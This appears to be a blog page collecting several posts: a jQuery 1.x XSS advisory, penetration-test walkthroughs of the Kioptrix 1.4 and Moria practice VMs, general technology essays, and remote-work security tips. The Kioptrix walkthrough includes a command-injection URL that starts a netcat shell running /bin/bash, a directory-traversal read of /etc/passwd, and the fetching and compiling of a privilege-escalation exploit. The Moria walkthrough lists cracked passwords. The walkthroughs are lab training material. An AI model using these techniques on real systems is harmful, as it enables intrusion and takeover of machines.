A jQuery 1.x vulnerability exists and no fix is planned

I haven’t seen much talk about this issue around the Internet, so I thought I’d present what I’ve learned for others to be aware of. It mainly has to do with the fact that jQuery 1.x (and 2.x, for that matter) were replaced by 3.x, yet they are still thriving in many, many projects, applications, and websites to this day.

While doing a security review of some code the other day, a retirejs scan informed me that jQuery 1.x contained a Medium vulnerability regarding cross-domain requests in ajax. According to Snyk:

“Affected versions of the package are vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain ajax request is performed without the dataType option causing text/javascript responses to be executed.

Remediation: Upgrade jquery to version 3.0.0 or higher.”

“Upgrading to 3.0.0 or higher seems pretty drastic,” I thought to myself. Well, according to a comment I found on jQuery’s GitHub page, this is actually their stance, and they don’t plan on patching 1.x because it is a ‘breaking change’:


So it would behoove you to upgrade to jQuery 3 if you don’t want to be susceptible to this vulnerability. The magnitude of that may seem rather staggering if you consider all the projects across just about everything (WordPress plugins, Drupal modules, etc etc) that bundle the 1.x version of jQuery, and haven’t updated it in years.

While the vulnerability may not be relevant if you are not making cross-domain ajax calls, this is but one risk that has come to light for which there will be no fix. And it’s not exactly reasonable to assume that developers know they need to avoid that if they intend to use jQuery 1.x.

The longer jQuery 1.x sits in your project, the higher a risk it becomes.

As the impending OWASP Top-10 for 2017 says, “Applications and APIs using components with known
vulnerabilities may undermine application defenses and enable various attacks and impacts.”

Long story short: Keep your bundled libraries up to date!

Kioptrix 1.4 (VM 5) Walkthrough

This evening I am finally catching up on write-ups of the Virtual Machine penetration testing (and subsequent pwnage) I have been working on. This is the second one I finished up and got ready to share, in case anyone finds it useful. The Kioptrix series of VMs are available on vulnhub.com, and you can download them to practice your hacking skills with at any time, for free.

Having already conquered the preceding 4 Kioptrix VMs, I started this one a while ago, but I hadn’t circled back to finish it. I figured it was time to complete the last of the Kioptrix boot2root challenges. This one was difficult!


netdiscover turned up as the IP for this target VM.

#> nmap -v -sS -A -T4
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
| http-methods:
|_ Supported Methods: GET
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-title: 403 Forbidden

On port 80, just a default Apache “It works!” message, and 8080 is a forbidden 403 message. Worth noting that for later.


nikto -host
– Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port: 80
+ Start Time: 2017-02-14 21:01:40 (GMT-5)
+ Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
+ Server leaks inodes via ETags, header found with file /, inode: 67014, size: 152, mtime: Sat Mar 29 13:22:52 2014
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ PHP/5.3.8 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ OpenSSL/0.9.8q a ppears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 – mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ 8345 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2017-02-14 21:02:52 (GMT-5) (72 seconds)
+ 1 host(s) tested

Summary of Interesting finds:
OpenSSL exploit
Older Apache
Older PHP

Finding Directories


Turned up index.html (nothing new) and cgi-bin. Blah.


Tried various wordlists. Nothing turned up with this either.

mod_ssl vulnerability

Nikto did mention this vulnerability, so I took a deeper dive:

+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 – mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.

This is that same old OpenFuck vuln I ran into in Kioptrix 1.1. I was unable to get it to compile then, so I didn’t feel like wasting time on it now.

Source Code to a PHP app

Failing to ever look at the source code of the Apache “It Works!” default page, I kicked myself when I realized I hadn’t done that. In the source code was a handy comment:

<META HTTP-EQUIV=”refresh” CONTENT=”5;URL=pChart2.1.3/index.php”>

Appending pChart2.1.3/index.php to the URL got me to some crappy PHP app:

The app looks like it would have a load of issues based on what it does and how it does it. An Exploit DB search reveals it does:


Directory Traversal sounds useful!

Using the exploit at Exploit DB, I found /etc/passwd:

# $FreeBSD: release/9.0.0/etc/master.passwd 218047 2011-01-28 22:29:38Z pjd $
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysql:/usr/sbin/nologin
ossec:*:1001:1001:User &:/usr/local/ossec-hids:/sbin/nologin
ossecm:*:1002:1001:User &:/usr/local/ossec-hids:/sbin/nologin
ossecr:*:1003:1001:User &:/usr/local/ossec-hids:/sbin/nologin

Poking Around

I was unable to turn up anything useful in any of the /etc directory files I was able to look at. I started looking up the locations of things in freebsd, since they were likely different than most Linux distros I am used to.

That said, I thought that the Apache config file would be a good place to start, as it might illumincate additional info such as usernames, or locations of password files. I might also find out if anything else is hidden on the website.

According to this page https://www.freebsd.org/doc/handbook/network-apache.html the httpd.conf file is here:

I had to figure out that the x in that path should be a 2, since this server is running Apache 2.2

So that worked:

So what was relevant in the httpd.conf file?

Listen 80
Listen 8080

I already knew 80 was listening, and 8080 was reported as open but returning a 403 when trying to visit it in a web browser.

DocumentRoot “/usr/local/www/apache22/data”

That’s where files are served from in Apache on freebsd, apparently.

This VirtualHost section looked interesting, as it explained the 403 errors I was getting when visiting the :8080 port

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
DocumentRoot /usr/local/www/apache22/data2

<Directory “/usr/local/www/apache22/data2”>
Options Indexes FollowSymLinks
AllowOverride All
Order allow,deny
Allow from env=Mozilla4_browser

So the :8080 virtual host is guarded by requiring a specific browser User-Agent string. Time to install User Agent Switcher add-on for Firefox. I prefer the one by Chris Pederick.

A Mozilla 4.0 browser is actually Internet Explorer 6, so I set my User Agent to be IE6, then I was able to get to the :8080 page:

Clicking that led me to yet another crappy PHP app!

Attacking the PHPTAX app

This app smelled like it was choc-full of fun exploits. A quick Google search revealed exactly that.


This will start a netcat reverse shell by injecting the command via the URL:;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

Trying to set up a netcat listener using various methods wasn’t working. I tried various ports and different things from the exploit-db entry (the other URL they mentioned), but had no luck.

Was there already an exploit in Metasploit?

That would be a “yes.” I thought doing it by hand would be more noble and educational, but alas, that proved to be untrue. Except that I learned I was down a rabbit hole. Off to metasploit I went…

That worked pretty well, and I found myself with a command shell.

Looks like I was the www user/group. I set out to escalate them privileges. Looking around for quite some time, I didn’t find anything too great. So I started with looking into OS/Kernel vulnerabilities.

uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64

FreeBSD 9.0 seemed pretty old. A couple of promising leads turned up when looking for exploits:

Privilege Escalation

So I had 2 exploits to work with, just needed a place I could write files. Turns out the original web directory I was in when I got the reverse shell was perfect:


touch me
cat me

Next, I needed to get the exploit file over to the target machine. I wasn’t sure how to do this, so I Googled it. This helped: https://netsec.ws/?p=292. Or so I thought. I couldn’t get it transferred with netcat and I’m still not sure why.

More Googling led me to ‘fetch’ which is installed on the FreeBSD machine.

So I set up a quick web server to serve up the exploit file from my Kali box using Python. From the directory where the exploit file (26368.c) resides:

python -m SimpleHTTPServer 80

Then from the reverse shell on the target machine, fetch the file:


Compile that sucker:

gcc 26368.c

Then run it:



And the flag is in /root/congrats.txt

You should read the congrats.txt file and look into what it says, if you made it this far. There are some opportunities to learn about what you just did in there!

Moria: A Boot2Root VM Walkthrough

Moria is a relatively new boot2root VM created by Abatchy, and is considered an “intermediate to hard” level challenge. I wasn’t sure I was up for it since I’ve only been doing this for a few months, but much to my delight I conquered this VM and learned a lot in the process. This experience will certainly help as I prepare for the OSCP certification.

While Abatchy says, “No LOTR knowledge is required ;),” I found that my LOTR knowledge came in quite handy.

Getting Started

My setup:

  • MacBook running MacOS (Sierra)
  • VMWare Fusion running:
  • Kali Linux (latest)
  • Moria VM

Once the VM was downloaded and running in VMWare, I started through various enumeration techniques that I typically go through when starting to penetration test a box. I’ll omit the irrelevant ones in this write-up.



This tool revealed the IP of this machine on my network:


I used nmap -v -sS -A -T4
and nmap –sS –sV -O

21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
MAC Address: 00:0C:29:E8:75:4F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X

So HTTP, FTP, and SSH were running. I started by checking out HTTP and visiting in a web browser. Here’s what I got:

The image of the West Door of Moria is from LOTR. This door was a trick door in the book and movies, and it required some “outside the box” thinking in order to gain entry. I remembered this from the books, and re-familiarized myself with the details via a Google search:

From http://tolkiengateway.net/wiki/Doors_of_Durin:

“On 13 January 3019 the Fellowship of the Ring entered Moria through the Doors,[5] but initially Gandalf could not find out the password to open them. Merry Brandybuck unknowingly gave Gandalf the answer by asking, “What does it mean by speak, friend, and enter?” When Gandalf realized that the correct translation was “Say friend and enter” he sprang up, laughed, and said “Mellon”, which means “friend” in Sindarin, and the Doors opened. Shortly thereafter, the Watcher in the Water attacked the Fellowship and shut the Doors behind them.[1]”

Good info that might come in handy later 😉


Running dirb led to the discovery of a directory at It contained a link to /h/, and so on. Traversing down the links led to:

The page said “Knock knock”
Was this a reference to port knocking? I thought that might be worth checking out later if I could find more info about a sequence.

At this time I was unable to find much more to work with related to the website and HTTP. The usual nikto and other apache/web-related stuff didn’t turn much up. I turned to FTP.


Trying to connect via FTP turned up some interesting info:

220 Welcome Balrog!

Clearly, the Lord of the Rings theme was running deep. I wondered if the password would be “mellon,” since that was what got the LOTR party into the gates of Moria. I couldn’t get that to work, and I wasn’t sure about a username.

Revisiting the website

Poking around the website some more, I DISCOVERED SOMETHING IMPORTANT!!!
When I browsed to
It gave me something different the next time. I found that a different quote would appear with each page load. I kept refreshing and collected all of the following:

Knock Knock
Is this the end?
Too loud!
Dain:”Is that human deaf? Why is it not listening?”
Nain:”Will the human get the message?”
Is this the end?
“We will die here..”
Ori:”Will anyone hear us?”
Nain:”Will the human get the message?”
Telchar to Thrain:”That human is slow, don’t give up yet”
Maeglin:”The Balrog is not around, hurry!”
Balin: “Be quiet, the Balrog will hear you!”
Oin:”Stop knocking!”
“Eru! Save us!”

A couple of weeks passed at this point, as I went out of town and had other things going on, but it gave me an opportunity to think about Moria and to come back with a fresh perspective.


Tried a bunch of other things, but finally tried doing SSH to the server and was prompted for a login.
Based on the FTP connection saying “Welcome Balrog!” I assumed that Balrog was a username. I also assumed that Mellon was the password knowing what I know about the LOTR story. Lastly, I realized I probably needed to try various capitalizations.

Using the login combo of Balrog / Mellon I got this:


Wrong gate? OK. I went back to try FTP with the Balrog/Mellon auth combo and got in:

Silly me. The username was right there in front of me when I had been trying FTP before. Nothing in the directory I logged into turned up, but I was able to cd .. up to /

I could go many places with basic dir navigation, but much was not allowed. For example, could get into /etc but not look at passwd. I couldn’t find anywhere that I could upload anything, and none of the important system files you’d typically check were allowed to be viewed.

I went to /var/www/html and found a directory that dirb would never have discovered:

Viewing that page in my web browser showed a handy table of what appeared to be hashes:


I set off to see what those passkeys could do. They did’t seem to work as-is for SSH or FTP, so I knew they’d need to be operated on somehow.

hash-identifier said they were likely MD5 hashes:

Without a salt I wasn’t sure how I’d use that information.

I tried various things with Hashcat and John the Ripper, but had no luck. I was stumped for a while until I looked under the hood at the source code of that page at

Note: Looking at the HTML source code is something I always forget to do, and it has bitten me more than once!

At the bottom of the source code I found what appeared to be the salts:


So I had the salts for those MD5 hashes, and I had what looked like the format for using them:



This next part took me a lot of reading and learning, as I’d never really run into this before in my rather limited experience, and I had only a basic knowledge of Hashcat and John the Ripper. While it took some time, it turned out to be a great opportunity to learn.

Ultimately, based on what I had read in various seedy places of the Internet’s underbelly, I created a file called hashes.txt with these contents, based on the HTML chart found above, and added the salts to each line (after the $) respectively:


I still needed to figure out the right format for running through John the Ripper though, so more research was needed. I turned to these places:

http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats – not much help here.
https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC – found the solution here.

Based on the chart on the documentation page for DYNAMIC, the format mentioned in the source code would work with this:

dynamic_6 | md5(md5($p).$s)

I next tried that on the hashes.txt file:

root@kali:~/moria# john –format=dynamic_6 hashes.txt
Using default input encoding: UTF-8
Loaded 9 password hashes with 9 different salts (dynamic_6 [md5(md5($p).$s) 128/128 AVX 4×3])
Press ‘q’ or Ctrl-C to abort, almost any other key for status
magic (Telchar)
abcdef (Dain)
spanky (Ori)
fuckoff (Maeglin)
flower (Balin)
rainbow (Oin)
darkness (Thrain)
hunter2 (Fundin)


I had a list of passwords for each user. Only one of these worked for logging in via SSH, and that was Ori’s account.

Bash Shell Obtained

Got a Bash shell with Ori’s login via SSH:


-bash-4.2$ ls -al
total 8
drwx—— 3 Ori notBalrog 55 Mar 12 22:57 .
drwxr-x—. 4 root notBalrog 32 Mar 14 00:36 ..
-rw——- 1 Ori notBalrog 1 Mar 14 00:12 .bash_history
-rw-r–r– 1 root root 225 Mar 13 23:53 poem.txt
drwx—— 2 Ori notBalrog 57 Mar 12 22:57 .ssh

Starting in Ori’s home directory, I checked out the .ssh directory to see what might be relevant.

It looked like Ori had logged into localhost before, since it showed up as a known_host. Why would he be doing that unless he needed to log in as someone else? Perhaps as root?

root Obtained – All That is Gold Does Not Glitter

Huh…well that last part was easier than I thought it might be. Thanks to Abatchy for providing this challenge. I learned a lot!


How Technology Is Set To Change The World

If you were to travel back twenty years and tell people how the world would look in 2017, they would think you had traveled from a lot further into the future than twenty years. To us, those living through the changes, everything’s that happened has been gradual. If we look at how the world will look in twenty years from now, we’d be forgiven for thinking we were looking much further ahead. Here are a few big changes about to transform the world.

In the Workplace

The nature of work has gone through big cycles over the past couple hundred of years, and there’s about to be another big change about to happen. The advancement of AI and robots will mean some 40% of human jobs will be lost in the next couple of decades. We’ll be more productive, probably with cheaper goods, but there’ll be a lot of people out of work too. Take a look at a list of ‘robot-proof’ jobs to see if you’ll be affected.

Individuals More In Control

Some of us may be about to lose some control over our autonomy thanks to technology, but as a whole, we’ll be more in control than ever. Greater advancements in the internet and how it interacts with the world around us will affect all areas of life, include the nature of shopping, the medical sector patient experience, and how we choose to be entertained. Even matters that are thought of as mass experiences will be customizable. Technology will also be used to give more detailed feedback, more quickly, so that companies can provide services based on individual needs, too.

Interconnected World

The internet of things is slowly beginning to take off, but it’ll really announce itself in the next ten years or so. Soon, everyday objects that have traditionally technology free will be connected to the internet, so we’ll be able to control them using our devices. It’s going to make life a lot more efficient. For example, your car will be connected to the internet, and will automatically select the fastest route for you. Your alarm clock will be connected to your coffee machine, so you have a freshly brewed cup of coffee as soon as you wake up.

Virtual Reality

You might have used a virtual reality headset, or you might not. No matter: in the future, you most definitely will, because VR technology is on track to permeate many aspects of society, from entertainment to education to healthcare. Get yourself a job (a robot-proof job!) in the next 15 years, and you’ll probably be trained using a VR headset. Visit a shopping mall, and you’ll use one to try on clothes you might like to buy.


Traveling is going to become faster and easier. Hyperloop trains will be taking us from one city to the next in a time that would have been unthinkable up until recent times. The driverless car revolution is also on the way, which will make the roads safer and more relaxing, too.

Me and My Tech!

Tech continues to change the face of even our most basic everyday lives, with the advent of home SMART hubs, drones, and an increase sophisticated programs online. But tech isn’t a one size fits all solution. In fact, the value of it is where it is matched specifically with a need that cannot be fulfilled in any other way. It’s the relevance of that item of tech that makes it so important. With that in mind read on to find out about some areas in which developments in tech are very relevant and are making a real difference in people’s lives.


Tech is most relevant in the area of education. Long have teachers tried to bridge the gap between being informative and entertaining to engage students in topics the wouldn’t choose to study.

But technology is a tool that is making this a lot easier. For example, creating activities that are quick, and simple to produce is easy, using tools such as Edmodo. You can have your own little social media network for your class, and videos can be built in as part of the lesson, as can audio, and even internet searches.

There are also a lot of opportunities for formative learning, which technology has introduced. For example, where a student can provide feedback on how well they understand things through voting buttons.

Of course, it’s not just schools that are using these techniques either but also higher learning institutions such as colleges and universities, and you can read more about how universities are making the most of the technology by clicking the link.

Basically, technology and education are so relevant to people’s lives because the method of how things are being taught is changing to better suit the generation that it is catering to. As well as giving learners better access to material on their terms.


The difference developing technology in the area can make is literally of life and death proportions. The two most interesting aspects include nanotech and detection.

The idea of nanotech is that medicine is being taken to a microscopic scales, which is designed to help the body regain homeostasis from inside. Which means that it is less invasive and also has a higher chance of success.

There are of course different categories such as nanopharmaceutical, nanodiagnostics and nano techs for implants and prosthetics. But the research and trials look promising and should enable many serious medical conditions to be either cured or managed shortly.

Also, another idea very relevant to health and tech is the developments in diagnostics tools.

Wearable trackers are big in the fitness industry right now, and the idea of this translates well to diagnostic tools. For example, you could place a sensor in women’s bras to detect the temperature change in the breast tissue that might be indicative of cancer. Signaling them to go to the doctors for a check up.

Which means that tech like this could literally be saving lives!

Your Guide To Remote Workers And Cybersecurity

These days, it’s the norm for businesses to use remote workers at least some point through the working day. While this offers the company and employees much greater flexibility, in many cases, it also opens the doors to all kinds of security risks. Whether it’s a contractual arrangement or an ad-hoc, casual part of your company culture, you need to be doing everything in your power to keep your network, systems and devices safe. While remote working security needs vary from business to business, here’s a list of pointers that will give you a great starting point…

Keep Laptops, Phones, and Tablets Safe

Lost or stolen mobile devices are easy pickings for hackers if there aren’t enough decent security measures in place. You need to be doing everything you can to keep these assets safe. While there are various technical barriers you can apply here, it should all start with a clear-cut policy for using mobile devices that all your employees should be aware of. Make sure your employees are keeping their devices with them and in sight at all times, and never leaving them in cars, hotel safes, and so on. You should also ensure everyone’s setting strong passwords, and look into second-factor authentication features like a Fido u2f security key. Finally, mobile device management programs can help you to recover laptops, phones and tablets if they’re ever lost or stolen.

Keep Security Layers Up to Date

Any devices that are owned by your organisation obviously need to be protected using antivirus, firewalls, web filtering, encryption and other preventative measures, but so do any devices owned by your employees if they’re using them for remote working. This can be a little tough to negotiate at times, as your employees may feel that it impeaches on the personal use of their devices. You may have to address this issue through your company security policies, either by restricting employees from using their own devices for high-risk, business-critical activities, providing secured company-owned devices, or making certain protective measures mandatory for all privately-owned devices.

Set Rules for Public WiFi

Any devices connected to public WiFi can be vulnerable to attack, which can obviously present a big issue to people on your staff who have to work from conference centers and hotel rooms. Ideally, your staff should only be connecting to trusted, secure networks, but obviously this isn’t always practical. With this in mind, you should have a part of your security policy forbidding employees from using public networks for any kind of sensitive or business-critical activities. It’s a good idea to draw up some specific guidelines outlining the kinds of activities and systems which staff can and can’t access while they’re connected to a public WiFi network.

Maintain Good Email Encryption

Email is among the most commonly used digital communication channels when it comes to staff members out of the office, and one that’s the root of a lot of major security breaches. Robust management of corporate email accounts, along with solid encryption, is a non-negotiable must. Installing apps such as Mimecast is an obviously smart move. However, if you make a point of raising awareness of the vulnerability of email, this can also do a lot to embed safe usage within your business. This should include training your employees in spotting common cybersecurity threats such as phishing emails, along with clear policies on the kind of information that your staff can and can’t communicate through email. Usernames and passwords are obvious no-no’s, but there may be a lot of other information you can’t afford to let hackers access depending on your niche and model.

Hiding Devices from Prying Eyes

Yes, there’s enough to worry about when it comes to purely digital threats. However, your employees all need to be aware of the physical threats of using mobile devices as well. Just as you would make sure your pin number is well hidden when using an ATM or pay point, you need to make sure your employees are being smart and discreet whenever they’re typing login information on a mobile device when they’re out and about. They also need to be aware of the risk of eavesdropping and other general snooping from people in the immediate vicinity. These days, it’s easier than ever for someone to snap a high-resolution photo of a screen in public, so don’t leave your business open to this very real risk.

Be Aware of External Storage

USB sticks and other external storage devices can occasionally be a vessel for malware, and have to be screened before you allow them to be plugged into any company devices. A lot of business owners and representatives come back from conferences with a free USB stick that’s infected with malware, unbeknownst to both them and the event organizers. Make it part of the policy to stop anyone from plugging one of these devices into a business computer with a lot of important information on it, for example to display information during a meeting. Until the security buffs in your IT department have the opportunity to check them, any kind of external storage should be treated as a threat.

Teach Staff About Public Computers

While in the majority of cases, your staff will have their own devices that they can use to get remote work done, every now and then someone may have to use a public computer, for example in the business suite of an airport. Make sure all your staff are aware of the security risks, and taking steps to avoid any kind of breach. They need to position screens so that they can’t be seen by anyone around them, never use public computers to send sensitive information, use private browsing wherever it’s available, and never tick those “remember me” boxes on login screens. They also need to be clearing browsing history and deleting downloads when they’re about to close an internet browser. It’s generally a good idea to keep these rules in a template email, and send them to anyone who’s going away on business before they leave.